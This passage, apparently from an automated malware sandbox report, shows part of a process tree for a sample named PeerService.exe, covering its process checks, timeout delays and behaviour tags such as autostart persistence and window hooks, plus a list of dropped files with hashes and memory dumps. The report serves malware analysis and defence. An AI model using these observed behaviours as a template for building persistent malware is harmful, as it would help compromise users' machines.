                                                                                                                          • Enumerates processes with tasklist
                                                                                                                          PID:1296
                                                                                                                        • C:\Windows\System32\find.exe
                                                                                                                          find /i "PeerService.exe"
                                                                                                                          3⤵
                                                                                                                            PID:3048
                                                                                                                          • C:\Windows\System32\timeout.exe
                                                                                                                            timeout /t 5
                                                                                                                            3⤵
                                                                                                                            • Delays execution with timeout.exe
                                                                                                                            PID:756
                                                                                                                      • C:\Windows\system32\sihost.exe
                                                                                                                        sihost.exe
                                                                                                                        1⤵
                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                        PID:2264
                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                          explorer.exe /LOADSAVEDWINDOWS
                                                                                                                          2⤵
                                                                                                                          • Boot or Logon Autostart Execution: Active Setup
                                                                                                                          • Enumerates connected drives
                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                          • Modifies registry class
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:4284
                                                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                        1⤵
                                                                                                                        • Modifies registry class
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:4516
                                                                                                                      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                        1⤵
                                                                                                                        • Modifies registry class
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:5036

                                                                                                                      Network

                                                                                                                            MITRE ATT&CK Enterprise v16

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            StartupProfileData-NonInteractive
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                            • Size 1KB
                                                                                                                            • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

                                                                                                                            prep_Activatable Class_Hermes_perf.cache
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                                                                                                            • Size 607B
                                                                                                                            • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

                                                                                                                            __PSScriptPolicyTest_wfwp5yyo.adi.ps1
                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wfwp5yyo.adi.ps1
                                                                                                                            • Size 60B
                                                                                                                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                            Submit Download

                                                                                                                            PeerService.exe
                                                                                                                            • Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
                                                                                                                            • Size 3.8MB
                                                                                                                            • SHA256 c8f1e7c5c5f022799d06abc53af3084ecadf9cbbe3da70ed1b06b85e56bef0ab
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                            Submit Download

                                                                                                                            memory/4516-203-0x0000021715340000-0x00000217159D1000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/4952-19-0x0000021877860000-0x000002187787E000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/4952-23-0x0000021877850000-0x000002187785A000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/4952-20-0x0000021877880000-0x0000021877932000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/4952-14-0x0000021877480000-0x00000218774A2000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/5036-52-0x0000014DF0C60000-0x0000014DF0D60000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/5036-53-0x0000014DF0C60000-0x0000014DF0D60000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/5036-80-0x0000014D92790000-0x0000014D927B0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/5036-66-0x0000014D82250000-0x0000014D82270000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/5036-61-0x0000014D92430000-0x0000014D92530000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/5036-60-0x0000014D80FB0000-0x0000014D80FD0000-memory.dmp
                                                                                                                            Download